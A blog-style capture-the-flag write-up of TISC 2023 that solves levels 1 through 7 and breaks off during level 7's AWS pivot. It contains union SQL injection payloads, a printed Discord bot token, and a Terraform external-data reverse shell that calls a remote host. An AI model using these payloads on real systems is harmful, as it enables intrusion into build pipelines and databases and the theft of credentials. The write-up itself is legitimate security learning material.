TISC 2023
author
samuzora
2 Oct 2023
27 min read

TISC 2023 was a 15-day long CTF that had a unique ring system. I was having my final year exams until about a week in so I didn’t solve much during that time :(

I cleared till Level 8 together with 18 other participants. These were the challenges I solved (I went web/cloud route cos im too noob)

Scoreboard

Level 1 - Disk Archaeology

Unknown to the world, the sinister organization PALINDROME has been crafting a catastrophic malware that threatens to plunge civilization into chaos. Your mission, if you choose to accept it, is to infiltrate their secret digital lair, a disk image exfiltrated by our spies. This disk holds the key to unraveling their diabolical scheme and preventing the unleashing of a suspected destructive virus.

Files:

I was provided with a disk dump. Initially, I used FTK Imager to analyse the dump, and found an ELF binary in unallocated space:

FTK Imager

However due to little endian/disk segmentation, the order of the file was messed up. I extracted it and tried to manually fix it for a while using HxD before realizing that it’s probably too difficult for Level 1.

After googling for a bit, I found Autopsy and tried it on the image. After scanning the disk for deleted files, Autopsy was able to correctly identify the binary as well as a runner script. Extracting and running the binary gave the flag: TISC{w4s_th3r3_s0m3th1ng_l3ft_ubrekeslydsqdpotohujsgpzqiojwzfq}

Level 2 - XIPHEREHPIX’s Reckless Mistake

Our sources told us that one of PALINDROME’s lieutenants, XIPHEREHPIX, wrote a special computer program for certain members of PALINDROME. We have somehow managed to get a copy of the source code and the compiled binary. The intention of the program is unclear, but we think encrypted blob inside the program could contain a valuable secret.

Files:

Below is the code provided:

void initialise_key(unsigned char *key, char *password, int password_length) {
    const char *seed = "PALINDROME IS THE BEST!";
    int i, j;
    int counter = 0;

    uint256_t *key256  = (uint256_t *)key;

    key256->a0 = 0;
    key256->a1 = 0;
    key256->a2 = 0;
    key256->a3 = 0;

    uint256_t arr[20] = { 0 };

    calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));

    for (i = 1; i < 20; i++) {
        calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
    }

    for (i = 0; i < password_length; i++) {
        int ch = password[i];
        for (j = 0; j < 8; j++) {
            counter = counter % 20;

            if (ch & 0x1) {
                accumulate_xor(key256, arr+counter);
            }

            ch = ch >> 1;
            counter++;
        }
    }
}

void accumulate_xor(uint256_t *result, uint256_t *arr_entry) {
    result->a0 ^= arr_entry->a0;
    result->a1 ^= arr_entry->a1;
    result->a2 ^= arr_entry->a2;
    result->a3 ^= arr_entry->a3;
}

void show_welcome_msg(unsigned char *key) {
    int plaintext_length;
    unsigned char *iv = "PALINDROME ROCKS";
    
    unsigned char plaintext[128] = { 0 };
    const unsigned char * const header = "welcome_message";
    unsigned char ciphertext[] =
        "\xad\xac\x81\x20\xc6\xd5\xb1\xb8\x3a\x2a\xa8\x54\xe6\x5f\x9a\xad"
        "\xa4\x39\x05\xd9\x21\xae\xab\x50\x98\xbd\xe4\xc8\xe8\x2a\x3c\x63"
        "\x82\xe3\x8e\x5d\x79\xf0\xc6\xf4\xf2\xe7";

    unsigned char tag[] =
        "\xbd\xfc\xc0\xdb\xd9\x09\xed\x66\x37\x34\x75\x11\x75\xa2\x7a\xaf";

    plaintext_length = gcm_decrypt(
                ciphertext, 42,
                (unsigned char *)header, strlen(header),
                tag,
                key, 
                iv, 16,
                plaintext);

    printf("Welcome PALINDROME member. Your secret message is %.*s\n", plaintext_length, plaintext);
}

int main(int argc, char **argv)
{
    char password[MAX_PASSWORD_SIZE + 1] = { 0 };
    int password_length;

    unsigned char key[32];

    printf("Hello PALINDROME member, please enter password:");

    password_length = input_password(password);
    if (password_length < 40) {
        printf("The password should be at least 40 characters as per PALINDROME's security policy.\n");
        exit(0);
    }

    if (!verify_password(password, password_length)) {
        initialise_key(key, password, password_length);
        show_welcome_msg(key);
    }
        
    else {
        printf("Failure! \n");
        exit(0);
    }
}

The goal is to decrypt the ciphertext in show_welcome_msg, which is encrypted using AES-GCM. The vuln lies in how the key is initialized.

Firstly, a constant seed is used. This allows me to reproduce arr[0], as well as the subsequent elements which are calculated using arr[i] = sha256(arr[i-1]).

The next section iterates through the password maintaining a counter variable, and if the last bit of each character = 1, key256 ^= arr[counter]. This might seem complicated since I don’t know when the key is xored, and hence I don’t know the key.

However, the accumulate_xor function reduces the search space by a lot. Since a ^ (a ^ b) = b, the total search space is essentially reduced to any permutation of arr. Hence, the key can be bruteforced to test all permutations of arr. I used the following solve script:

#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#include <openssl/bio.h>
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/sha.h>

#define MIN_PASSWORD_SIZE 40
#define MAX_PASSWORD_SIZE 50
#define OPENSSL_ENGINE NULL

typedef struct uint256 {
  uint64_t a0;
  uint64_t a1;
  uint64_t a2;
  uint64_t a3;
} uint256_t;

void calculate_sha256(unsigned char *digest_buf, unsigned char *msg,
                      int msglen) {
  EVP_MD_CTX *mdCtx = EVP_MD_CTX_new();

  unsigned int mdLen, i;

  if (!EVP_DigestInit_ex(mdCtx, EVP_sha256(), OPENSSL_ENGINE)) {
    printf("Message digest initialization failed.\n");
    EVP_MD_CTX_free(mdCtx);
    exit(EXIT_FAILURE);
  }

  // Hashes cnt bytes of data at d into the digest context mdCtx
  if (!EVP_DigestUpdate(mdCtx, msg, msglen)) {
    printf("Message digest update failed.\n");
    EVP_MD_CTX_free(mdCtx);
    exit(EXIT_FAILURE);
  }

  if (!EVP_DigestFinal_ex(mdCtx, digest_buf, &mdLen)) {
    printf("Message digest finalization failed.\n");
    EVP_MD_CTX_free(mdCtx);
    exit(EXIT_FAILURE);
  }
  EVP_MD_CTX_free(mdCtx);
}

void accumulate_xor(uint256_t *result, uint256_t *arr_entry) {
  result->a0 ^= arr_entry->a0;
  result->a1 ^= arr_entry->a1;
  result->a2 ^= arr_entry->a2;
  result->a3 ^= arr_entry->a3;
}

int gcm_decrypt(unsigned char *ciphertext, int ciphertext_len,
                unsigned char *aad, int aad_len, unsigned char *tag,
                unsigned char *key, unsigned char *iv, int iv_len,
                unsigned char *plaintext) {
  EVP_CIPHER_CTX *ctx;
  int len;
  int plaintext_len;
  int ret;

  /* Create and initialise the context */
  if (!(ctx = EVP_CIPHER_CTX_new()))
    return -1;

  /* Initialise the decryption operation. */
  if (!EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
    return -2;

  /* Set IV length. Not necessary if this is 12 bytes (96 bits) */
  if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, iv_len, NULL))
    return -3;

  /* Initialise key and IV */
  if (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv))
    return -4;

  /*
   * Provide any AAD data. This can be called zero or more times as
   * required
   */
  if (!EVP_DecryptUpdate(ctx, NULL, &len, aad, aad_len))
    return -5;

  /*
   * Provide the message to be decrypted, and obtain the plaintext output.
   * EVP_DecryptUpdate can be called multiple times if necessary
   */
  if (!EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
    return -6;
  plaintext_len = len;

  /* Set expected tag value. Works in OpenSSL 1.0.1d and later */
  if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, tag))
    return -7;

  /*
   * Finalise the decryption. A positive return value indicates success,
   * anything else is a failure - the plaintext is not trustworthy.
   */
  ret = EVP_DecryptFinal_ex(ctx, plaintext + len, &len);

  /* Clean up */
  EVP_CIPHER_CTX_free(ctx);

  if (ret > 0) {
    /* Success */
    plaintext_len += len;
    return 100;
  } else {
    /* Verify failed */
    return -8;
  }
}

void show_welcome_msg(unsigned char *key) {
  int plaintext_length;
  unsigned char *iv = "PALINDROME ROCKS";

  unsigned char plaintext[128] = {0};
  const unsigned char *const header = "welcome_message";
  unsigned char ciphertext[] =
      "\xad\xac\x81\x20\xc6\xd5\xb1\xb8\x3a\x2a\xa8\x54\xe6\x5f\x9a\xad"
      "\xa4\x39\x05\xd9\x21\xae\xab\x50\x98\xbd\xe4\xc8\xe8\x2a\x3c\x63"
      "\x82\xe3\x8e\x5d\x79\xf0\xc6\xf4\xf2\xe7";

  unsigned char tag[] =
      "\xbd\xfc\xc0\xdb\xd9\x09\xed\x66\x37\x34\x75\x11\x75\xa2\x7a\xaf";

  plaintext_length = gcm_decrypt(ciphertext, 42, (unsigned char *)header,
                                 strlen(header), tag, key, iv, 16, plaintext);
  if (plaintext_length != -8) {
    printf("Welcome PALINDROME member. Your secret message is %.*s\n",
           plaintext_length, plaintext);
  }
}

void printCombination(uint256_t arr[], uint256_t data[], int start, int end,
                      int index, int r, void (*func)(uint256_t[], int)) {
  if (index == r) {
    func(data, r);
    return;
  }

  for (int i = start; i <= end && end - i + 1 >= r - index; i++) {
    data[index] = arr[i];
    printCombination(arr, data, i + 1, end, index + 1, r, func);
  }
}

void generateCombinations(uint256_t items[], int n,
                          void (*func)(uint256_t[], int)) {
  for (int r = 1; r <= n; r++) {
    uint256_t data[r]; // Temporary array to store all combinations
    printf("%d\n", r);
    printCombination(items, data, 0, n - 1, 0, r, func);
  }
}

void show_welcome_msg_wrapper(uint256_t combination[], int r) {
  unsigned char key[32];
  uint256_t *key256 = (uint256_t *)key;

  key256->a0 = 0;
  key256->a1 = 0;
  key256->a2 = 0;
  key256->a3 = 0;

  for (int i = 0; i < r; i++) {
    accumulate_xor(key256, combination + i);
  }
  show_welcome_msg(key);
}

int main() {
  const char *seed = "PALINDROME IS THE BEST!";
  uint256_t arr[20] = {0};
  calculate_sha256((unsigned char *)arr, (unsigned char *)seed, strlen(seed));
  for (int i = 1; i < 20; i++) {
    calculate_sha256((unsigned char *)(arr + i), (unsigned char *)(arr + i - 1),
                     32);
  }
  generateCombinations(arr, 20, show_welcome_msg_wrapper);
}
● comp/tisc/reckless (^._.^)
$ ./solve
1
2
3
4
5
6
7
8
9
Welcome PALINDROME member. Your secret message is TISC{K3ysP4ce_1s_t00_smol_d2g7d97agsd8yhr}

Level 3 - KPA

We’ve managed to grab an app from a suspicious device just before it got reset! The copying couldn’t finish so some of the last few bytes got corrupted… But not all is lost! We heard that the file shouldn’t have any comments in it! Help us uncover the secrets within this app!

I was provided with a slightly corrupted apk file which despite my best attempts couldn’t be installed on my phone/emulator.

After analyzing the apk in jadx, I found this class of interest:

jadx

So the apk is loading an external libkappa.so native library and calling the css() function loaded from it. After unzipping the apk and analysing the library in IDA, I found the flag generation function sub_201F0.

ida

Jumping to it, I found the encoded flag and the code to decode it. I used the following to decode the flag:

v25 = bytearray(0x54010C170C2201290711231241.to_bytes(13, byteorder='little', signed=False))

v2 = 0
v3 = 1
v4 = 0
v5 = 0
v6 = 0
v7 = 0

v24 = 26

v8 = False
while not v8:
    v8 = v7 <= v6 + 2
    v4 += v6
    if v6 == 5 * (v5 // 5):
        v4 = 96
    v9 = v25
    v9[v6 + 1] ^= v4
    v3 = (v24 & 1) == 0
    if (v24 & 1) != 0:
        v7 = v25[7:15].tobytes()
    else:
        v7 = v24 >> 1
    v5 += 1
    v8 = v7 <= v6 + 2
    v6 += 1

print(v9)

v21 = 24
v10 = 1
v22 = bytearray(0x7309190eA100F091B190957.to_bytes(12, byteorder='little', signed=False))

v11 = 28
v12 = 0

v13 = v21 >> 1

while v13 > v12:
    v14 = v22
    v10 = 3 * (v2 // 3)
    v14[v12] ^= v11
    v11 += v12
    if v12 == v10:
        v11 = 72
    v12 += 1
    v10 = (v21 & 1) == 0
    if (v21 & 1) != 0:
        v13 = v22[7:15].tobytes()
    else:
        v13 = v21 >> 1
    v2 += 1

print(v14)

out = v9 + v14
print(out)
● comp/tisc/kpa-dev (^._.^)
$ python3 test.py
bytearray(b'ArBraCaDabra?')
bytearray(b'KAPPACA\xa2\xdf\xc6xU')
bytearray(b'ArBraCaDabra?KAPPACA\xa2\xdf\xc6xU')

Seems like it’s a bit messed up. I guessed a little and used ArBraCaDabra?KAPPACADABRA as the initial decoded string.

Then the second part rearranges the bytes to form the final flag. I threw the IDA pseudocode in ChatGPT and got it to generate a script in Python for me:

import hashlib

def N(value, algorithm):
    # Implement the N function using hashlib to compute hash
    hash_object = hashlib.new(algorithm)
    hash_object.update(value.encode())
    return hash_object.hexdigest()

def M(str):
    charArray = list(str)
    # valueOf = "".join(charArray)

    # for i2 in range(1024):
    #     valueOf = N(valueOf, "sha1")
    #
    # if valueOf != "d8655ddb9b7e6962350cc68a60e02cc3dd910583":
    #     # Assuming Q and P functions are defined elsewhere
    #     # Here, we're printing the equivalent Java code for the following two lines
    #     # ((TextView) findViewById(d.f3935f)).setVisibility(4)
    #     # Q(d.f3930a, 3000)
    #     print("((TextView) findViewById(d.f3935f)).setVisibility(4)")
    #     print("Q(d.f3930a, 3000)")
    # else:
    copyOf = charArray.copy()
    charArray[0] = chr((copyOf[24] * 2) + 1)
    charArray[1] = chr(((copyOf[23] - 1) // 4) * 3)
    charArray[2] = chr(copyOf[22]).lower()
    charArray[3] = chr(copyOf[21] + ord('&'))
    charArray[4] = chr(((copyOf[20] // 3) * 5) + 4)
    charArray[5] = chr(copyOf[19] - 1)
    charArray[6] = chr(copyOf[18] + ord('1'))
    charArray[7] = chr(copyOf[17] + 18)
    charArray[8] = chr((copyOf[16] + 19) // 3)
    charArray[9] = chr(copyOf[15] + ord('%'))
    charArray[10] = chr(copyOf[14] + ord('2'))
    charArray[11] = chr(((copyOf[13] // 5) + 1) * 3)
    charArray[12] = chr(((copyOf[12] // 9) + 5) * 9)
    charArray[13] = chr(copyOf[11] + 21)
    charArray[14] = chr((copyOf[10] // 2) - 6)
    charArray[15] = chr(copyOf[9] + 2)
    charArray[16] = chr(copyOf[8] - 24)
    charArray[17] = chr(copyOf[7] + pow(4, 2))
    charArray[18] = chr((copyOf[6] - ord('\t')) // 2)
    charArray[19] = chr(copyOf[5] + ord('\b'))
    charArray[20] = chr(copyOf[4])
    charArray[21] = chr(copyOf[3] - ord('"'))
    charArray[22] = chr((copyOf[2] * 2) - 20)
    charArray[23] = chr((copyOf[1] // 2) + 8)
    charArray[24] = chr((copyOf[0] + 1) // 2)

    # Assuming P function is defined elsewhere
    print("".join(charArray))

# Example usage:
M([ord(i) for i in "ArBraCaDabra?KAPPACADABRA"])
bgr@tS!us0lv3dIT,KaPpA!

The flag was wrong :( But after using some common sense and guessing, I found that the flag was TISC{C0ngr@tS!us0lv3dIT,KaPpA!}.

Level 4 - RUBG

After last year’s hit online RPG game “Slay The Dragon”, the cybercriminal organization PALINDROME has once again released another seemingly impossible game called “Really Unfair Battleships Game” (RUBG). This version of Battleships is played on a 16x16 grid, and you only have one life. Once again, we suspect that the game is being used as a recruitment campaign. So once again, you’re up!

Things are a little different this time. According to the intelligence we’ve gathered, just getting a VICTORY in the game is not enough.

PALINDROME would only be handing out flags to hackers who can get a FLAWLESS VICTORY.

You are tasked to beat the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after getting a FLAWLESS VICTORY. Our success is critical to ensure the safety of Singapore’s cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.

Godspeed!

Files:

I was provided with both an .exe and a AppImage. Being sensible, I did not attempt to reverse the .exe.

The filesystem of the AppImage can be unpacked by /rubg.AppImage --appimage-extract. This outputs the squashfs-root where I found resources/unpacked/app.asar, containing the actual app which I can analyse and edit. I realized that it was an Electron app, and read somewhere that Electron apps can be easily edited to change client-side behaviour. Thus, I prettified and modified the Javascript to render ships with cells different, and then repackaged the app using npx asar pack ./unpacked app.asar.

Lastly, I repackaged the AppImage using appimagetool ./squashfs-root test.AppImage (actually not necessary, can just run AppRun in the fs), and running it indeed showed me the tiles with ships on it. I then clicked on the tiles sequentially (top-down, then left-right) to get the app to fetch the flag from the endpoint.

The wonderfully flagged out tiles for me to click:

too easy

TISC{t4rg3t5_4cqu1r3d_fl4wl355ly_64b35477ac}

Level 5 - PALINDROME’s Invitation

Valuable intel suggests that PALINDROME has established a secret online chat room for their members to discuss on plans to invade Singapore’s cyber space. One of their junior developers accidentally left a repository public, but he was quick enough to remove all the commit history, only leaving some non-classified files behind. One might be able to just dig out some secrets of PALINDROME and get invited to their secret chat room…who knows?

Start here: https://github.com/palindrome-wow/PALINDROME-PORTAL

I was provided with a git repo containing a Github workflow. Many participants tried to fork the repo and run the workflow on their own, but since none of them looked like they got the flag, I decided not to try that. Looking at the logs of the very first workflow:

workflow

The endpoint and password were revealed. Using these, I got an ordinary invite to the target Discord server, and could generate bot tokens to control bots in the server. After enumerating for a while, I found the #meeting-records and #flag channels. #meeting-records was readable by the bot while #flag wasn’t.

This entire conversation is fictional and written by ChatGPT.
Anya: (Whispering) I promise, Mama. Our lips are sealed!
Yor: (Hugging Anya gently) That's the spirit, my little spy. We'll be the best team and support Papa in whatever way we can. But remember, we must keep everything a secret too.
Anya: (Feeling important) I'll guard it with my life, Mama! And when the time comes, we'll be ready for whatever secret mission they have planned!
Yor: (Nods knowingly) You might be onto something, Anya. Spies often use such clever tactics to keep their missions covert. Let's keep this invitation safe and see if anything happens closer to your supposed birthday.
Anya: (Giggling) Yeah! Papa must have planned it for me. But, Mama, it's not my birthday yet. Do you think this is part of their mission?
Yor: (Pretending to be surprised) Oh, my goodness! That's amazing, Anya. And it's for a secret spy meeting disguised as your birthday party? How cool is that?
Anya: (Excitedly) Mama, look what I found! It's an invitation to a secret spy meeting!
(Anya rushes off to her room, and after a moment, she comes back with a colorful birthday invitation. Notably, the invitation is signed off with: client_id 1076936873106231447)
Anya: (Eyes lighting up) My room! I'll check there first!
Yor: (Pats Anya's head affectionately) You already are, Anya. Just by being here and supporting us, you make everything better. Now, let's focus on finding that clue. Maybe it's hidden in one of you
r favorite places.
Anya: (Giggling) Don't worry, Mama, I won't mess up anything. But I really want to be useful!
Yor: (Playing along) Of course, my little spy-in-training! We can look for any clues that might be lying around. But remember, we have to be careful not to interfere with Papa's work directly. He wouldn't want us to get into any trouble.
Anya: (Eager to help) I want to help Papa with this mission, Mama! Can we find out more about it? Maybe there's a clue hidden somewhere in the house!
Yor: (Trying not to give too much away) Hmm, '66688,' you say? Well, it's not something I'm familiar with. But I'm sure it must be related to the clearance or authorization they need for this specific task. Spies always use these secret codes to communicate sensitive information.
Anya: (Nods) Yeah, but Papa said it's a complicated operation, and they need some special permission with the number '66688' involved. I wonder what that means.
Yor: (Intrigued) Oh, that sounds like a challenging mission. I'm sure your Papa will handle it well. We'll be cheering him on from the sidelines.
Anya: (Whispers) It's something about infiltrating Singapore's cyberspace. They're planning to do something big there!
Yor: (Smiling warmly) Really, Anya? That's wonderful! Tell me all about it.
Anya: (Excitedly bouncing on her toes) Mama, Mama! Guess what, guess what? I overheard Loid talking to Agent Smithson about a new mission for their spy organization PALINDROME!

What a fascinating conversation.

In #meeting-records, the thread hinted towards the BetterInvites bot. I searched the audit logs for all invites created by the bot, and found one https://discord.gg/HQvTm5DSTs that was active. This invite grants me admin rights to the server, hence I can see the #flag channel to get the flag.

Solve script (amidst commented different approaches):

from pprint import pprint
import discord
import inspect

TOKEN = "MTEyNTk4MjE2NjM3MTc5NDk5NQ.G9rv87.A31bLMrXS9UM-6CKjJyX9IddRSATSHXhiac-QQ" # take it, its expired anyway

client = discord.Client()

@client.event
async def on_ready():
    for i in client.get_all_channels():
        if i.name == "flag":
            role = i.guild.get_role(1132167893983965206)
            print(role)
            perms = i.permissions_for(role)
            pprint(inspect.getmembers(perms))
            # async for j in i.guild.audit_logs():
            #     if j.action == discord.AuditLogAction.invite_create:
            #         print("--")
            #         print(j.before)
            #         print(j.after)
        # print(i.name)
        # if i.name == "meeting-records":
        #     # perms = i.permissions_for(i.guild.me)
        #     # pprint(inspect.getmembers(perms))
        #     async for msg in i.history():
        #         thread = msg.thread
        #         async for msg in thread.history():
        #             print(msg.content)


client.run(TOKEN)

TISC{H4ppY_B1rThD4y_4nY4!}

Level 6 - The Chosen Ones

We have discovered PALINDROME’s recruitment site. Infiltrate it and see what you can find!

http://chals.tisc23.ctf.sg:51943

The challenge starts off with a pRNG OTP bypass. The source code of the OTP generator can be found commented and base-32 encoded.

<?php
function random()
{
        $prev = $_SESSION["seed"];
        $current = (int)$prev ^ 844742906;
        $current = decbin($current);
        while (strlen($current) < 32) {
                $current = "0" . $current;
        }
        $first = substr($current, 0, 7);
        $second = substr($current, 7, 25);
        $current = $second . $first;
        $current = bindec($current);
        $_SESSION["seed"] = $current;
        return $current % 1000000;
}

This function looks like it could be reversed one-to-one, if not for the mod. With the mod, I need to create a mapping of all numbers below 2^32 that are incremented from the initial OTP, and find a match that can produce the 2nd OTP as well.

prev_code = 859307
current_code = 207346

temp = current_code

def calc(x):
    i = bin(x)[2:]
    first, second = i[-7:], i[:-7]
    out = ''.join([first, second])
    x = int(out, 2)

    prev = x ^ 844742906

    return prev % 1000000

all_codes = {}

while len(bin(temp)[2:]) < 33:
    all_codes[calc(temp)] = temp
    temp += 1000000

print(all_codes[prev_code])

This generates the original number that was seeded in my session (note: doesn’t work for the very first/second OTP). Feeding this back into the php source I obtain the OTP.

After that, I reached the 2nd part of the challenge - a random employee search.

chosen-ones

In the cookies there is a rank field. After playing with it for a while, I realized that the field was being put into the query directly. Then it’s just basic union sqli to get the flag.

0%20union%20select%20table_name,%201,%201,%201%20from%20information_schema.tables%20--%20

list tables

0%20union%20select%20flag,%201,%201,%201%20from%20CTF_SECRET%20--%20

flag

TISC{Y0u_4rE_7h3_CH0s3n_0nE}

Level 7 - DevSecMeow

Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.

https://d3mg5a7c6anwbv.cloudfront.net

I start off at a static cloudfront page with 2 links - 1 generates a csr-crt pair, and the other is a nginx blocked site. The csr-crt pair are pre-signed AWS S3 links that can be used for upload/download. After googling a bit on mTLS, I figured out how to generate a CSR request:

openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
curl -XPUT <.csr endpoint> --upload-file server.csr

Then PUT server.csr to the .csr endpoint, which automatically refreshes the .crt endpoint. Downloading the cert and using it to authenticate with mTLS against the other site:

curl --cert client.crt --key server.key https://13.213.29.24/ -k

It grants me a set of AWS credentials.

I have permission to view IAM policies. After getting the username:

aws iam list-attached-user-policies --user-name agent-f0f7a2ecc80a43608e690f5667945be9
aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/agent-f0f7a2ecc80a43608e690f5667945be9 --version-id v1

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "ssm:DescribeParameters",
                        "iam:GetPolicyVersion",
                        "iam:List*Policies",
                        "iam:Get*Policy",
                        "kms:ListKeys",
                        "events:ListRules",
                        "events:DescribeRule",
                        "kms:GetKeyPolicy",
                        "codepipeline:ListPipelines",
                        "codebuild:ListProjects",
                        "iam:ListRoles",
                        "codebuild:BatchGetProjects"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::232705437403:user/${aws:username}"
                },
                {
                    "Sid": "VisualEditor3",
                    "Effect": "Allow",
                    "Action": [
                        "codepipeline:GetPipeline"
                    ],
                    "Resource": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
                },
                {
                    "Sid": "VisualEditor4",
                    "Effect": "Allow",
                    "Action": [
                        "s3:PutObject"
                    ],
                    "Resource": "arn:aws:s3:::devsecmeow2023zip/*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-10-02T15:06:07Z"
    }
}

So I have access to quite a few things, notably codebuild and codepipeline.

$ aws codepipeline get-pipeline --name devsecmeow-pipeline
{
    "pipeline": {
        "name": "devsecmeow-pipeline",
        "roleArn": "arn:aws:iam::232705437403:role/codepipeline-role",
        "artifactStore": {
            "type": "S3",
            "location": "devsecmeow2023zip"
        },
        "stages": [
            {
                "name": "Source",
                "actions": [
                    {
                        "name": "Source",
                        "actionTypeId": {
                            "category": "Source",
                            "owner": "AWS",
                            "provider": "S3",
                            "version": "1"
                        },
                        "runOrder": 1,
                        "configuration": {
                            "PollForSourceChanges": "false",
                            "S3Bucket": "devsecmeow2023zip",
                            "S3ObjectKey": "rawr.zip"
                        },
                        "outputArtifacts": [
                            {
                                "name": "source_output"
                            }
                        ],
                        "inputArtifacts": []
                    }
                ]
            },
            {
                "name": "Build",
                "actions": [
                    {
                        "name": "TerraformPlan",
                        "actionTypeId": {
                            "category": "Build",
                            "owner": "AWS",
                            "provider": "CodeBuild",
                            "version": "1"
                        },
                        "runOrder": 1,
                        "configuration": {
                            "ProjectName": "devsecmeow-build"
                        },
                        "outputArtifacts": [
                            {
                                "name": "build_output"
                            }
                        ],
                        "inputArtifacts": [
                            {
                                "name": "source_output"
                            }
                        ]
                    }
                ]
            },
...

The above describes a pipeline that triggers when rawr.zip is uploaded to the devsecmeow2023zip S3 bucket. This triggers a terraform plan job that can be viewed with our codebuild permissions:

$ aws codebuild batch-get-projects --names devsecmeow-build
{
    "projects": [
        {
            "name": "devsecmeow-build",
            "arn": "arn:aws:codebuild:ap-southeast-1:232705437403:project/devsecmeow-build",
            "source": {
                "type": "CODEPIPELINE",
                "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - env\n      - cd /usr/bin\n      - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n      - unzip -o terraform.zip\n      - cd \"$CODEBUILD_SRC_DIR\"\n      - ls -la \n      - terraform init \n      - terraform plan\n",
                "insecureSsl": false
            },
            "artifacts": {
                "type": "CODEPIPELINE",
                "name": "devsecmeow-build",
                "packaging": "NONE",
                "overrideArtifactName": false,
                "encryptionDisabled": false
            },
            "cache": {
                "type": "NO_CACHE"
            },
            "environment": {
                "type": "LINUX_CONTAINER",
                "image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
                "computeType": "BUILD_GENERAL1_SMALL",
                "environmentVariables": [
                    {
                        "name": "flag1",
                        "value": "/devsecmeow/build/password",
                        "type": "PARAMETER_STORE"
                    }
                ],
                "privilegedMode": false,
                "imagePullCredentialsType": "CODEBUILD"
            },
            "serviceRole": "arn:aws:iam::232705437403:role/codebuild-role",
...

So they run terraform plan on our extracted zip. After researching for a while, a RCE exploit for terraform plan was found:

data "external" "testing" {
  program = ["python", "-c", "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<remote>',1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','-i']);"]
}

Changing to my reverse shell server, I got a shell as the codebuild instance:

root@root# nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 52.221.221.130 57779
sh: cannot set terminal process group (1): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.2# ls
ls
config.tf
terraform.tfstate
sh-5.2#

The first part of the flag is in the env:

flag1=TISC{pr0tecT_

The instance also has the arn:aws:iam::232705437403:role/codebuild-role role. I can enumerate the permissions of this role:

$ aws iam get-role-policy --role-name codebuild-role --policy-name policy_code_build
...
            {
                "Action": "ec2:DescribeInstance*",
                "Effect": "Allow",
                "Resource": "*"
            },
...

So I can pivot to ec2 from this codebuild instance. I discovered the following ec2 instance:

54.255.155.134
id: i-02602bf0cf92a4ee1

Attempting to connect to the IP gives us the nginx 403 page. I couldn’t bypass it with the cert I generated earlier.

Also, the asterisk is quite sus because I can then do all the following actions:

describe-instance-attribute
describe-instance-connect-endpoints      | describe-instance-credit-specifications
describe-instance-event-notification-attributes | describe-instance-event-windows
describe-instance-status                 | describe-instance-type-offerings
describe-instance-types                  | describe-instances

After trying all of them, I realized attribute is the one I wanted.

sh-5.2# aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1
aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

aws: error: the following arguments are required: --attribute

But I didn’t know the attribute name.

According to the AWS docs, these are the possible attribute names:

instanceType
kernel
ramdisk
userData
disableApiTermination
instanceInitiatedShutdownBehavior
rootDeviceName
blockDeviceMapping
productCodes
sourceDestCheck
groupSet
ebsOptimized
sriovNetSupport
enaSupport
enclaveOptions
disableApiStop

After bruteforcing all of them, I found that userData gave something interesting:

sh-5.2# aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData
<nstance-id i-02602bf0cf92a4ee1 --attribute userData
{
    "InstanceId": "i-02602bf0cf92a4ee1",
    "UserData": {
